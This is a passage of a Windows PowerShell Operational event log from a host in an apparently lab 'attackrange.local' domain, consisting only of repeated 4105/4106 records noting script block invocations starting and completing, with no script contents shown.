User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042608
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042591
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042585
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042561
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042559
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042558
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042555
Keywords=None
